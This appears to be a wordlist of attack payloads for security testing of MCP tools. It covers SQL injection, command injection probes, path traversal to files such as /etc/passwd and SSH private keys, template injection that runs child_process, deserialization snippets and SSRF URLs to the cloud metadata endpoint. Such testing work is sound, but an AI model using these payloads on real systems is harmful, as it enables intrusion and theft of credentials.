# ============================
# Attack Payloads for MCP Tool Security Testing
# Covers: SQL injection, OS/command injection, path traversal,
# template/expression injection, SSRF-like URL inputs, misc.
# ============================

# ---- SQL Injection: basic boolean/string probes ----
' OR '1'='1
' OR '1'='1' --
a' OR '1'='1
' OR 1=1 --
' OR 1=1#
' OR 1=1/*

# ---- SQL Injection: numeric-style inputs ----
1 OR 1=1
1 OR 1=1--
1 OR 1=1#
1 OR 1=1/*

# ---- SQL Injection: auth bypass style ----
' OR 'a'='a
' OR 'x'='x' --
' OR '1'='1' UNION SELECT NULL--
1 UNION SELECT NULL,NULL--
1 UNION SELECT @@version,NULL--

# ---- SQL Injection: error-based / discovery ----
'"
''')
' AND 1=CONVERT(int,(SELECT @@version))--
' AND (SELECT 1/0)--

# ---- SQL Injection: time-based (MySQL/PostgreSQL/MSSQL examples) ----
' OR IF(1=1,SLEEP(5),0)--
' OR (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE 0 END)--
'; IF (1=1) WAITFOR DELAY '0:0:5'--

# ============================
# OS / Command Injection Payloads
# ============================

# ---- Command injection: simple echo probes ----
; echo INJECTION_TEST
&& echo INJECTION_TEST
| echo INJECTION_TEST
& echo INJECTION_TEST

# ---- Command injection: basic info commands (Unix-like) ----
; id
; whoami
; uname -a
&& id
|| id
| whoami
& uname -a

# ---- Command injection: time-based / blind probes ----
; sleep 5
&& sleep 5
| sleep 5
; ping -c 5 127.0.0.1
& ping -c 5 127.0.0.1

# ---- Command injection: Windows-flavoured ----
& type C:\Windows\win.ini
& dir C:\
& whoami
& ping -n 5 127.0.0.1

# ============================
# Path Traversal Payloads
# ============================

# ---- Basic traversal sequences ----
../
../../
../../../
..\ 
..\..\
..\..\..\

# ---- Linux/Unix sensitive file targets ----
../../../../etc/passwd
../../../etc/passwd
/etc/passwd
../../../../var/log/syslog
../../../../home/user/.ssh/id_rsa

# ---- Windows sensitive file targets ----
..\..\..\windows\win.ini
..\..\..\..\boot.ini
C:\Windows\win.ini

# ---- Encoded / bypass-style traversal ----
..%2f..%2f..%2fetc/passwd
..%5c..%5c..%5cwindows%5cwin.ini
..;/../etc/passwd
..%252f..%252fetc/passwd

# ============================
# Template / Expression Injection Payloads
# ============================

# ---- Generic expression probes ----
${7*7}
${process.env}
{{7*7}}
{{__proto__}}
#{7*7}

# ---- Jinja/Twig-style examples ----
{{ 7*7 }}
{{ config.items() }}
{{ self.__dict__ }}

# ---- JS/JSON-style expression abuse ----
"${this.constructor.constructor('return process.env')()}"
"${global.process.mainModule.require('child_process').exec('id')}"

# ============================
# Deserialization / Prototype Pollution Hints
# ============================

{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}
{"$type": "System.Diagnostics.Process, System", "StartInfo": {"FileName": "cmd.exe"}}

# ============================
# URL / SSRF-style Inputs
# ============================

http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://127.0.0.1:22/
http://[::1]/

# ============================
# Miscellaneous High-Risk Strings (for behavior observation)
# ============================

{{7*7}} INJECTION_TEST
' OR 'INJ'='INJ
; echo MCP_TOOL_INJECTION
../../../etc/passwd TEST
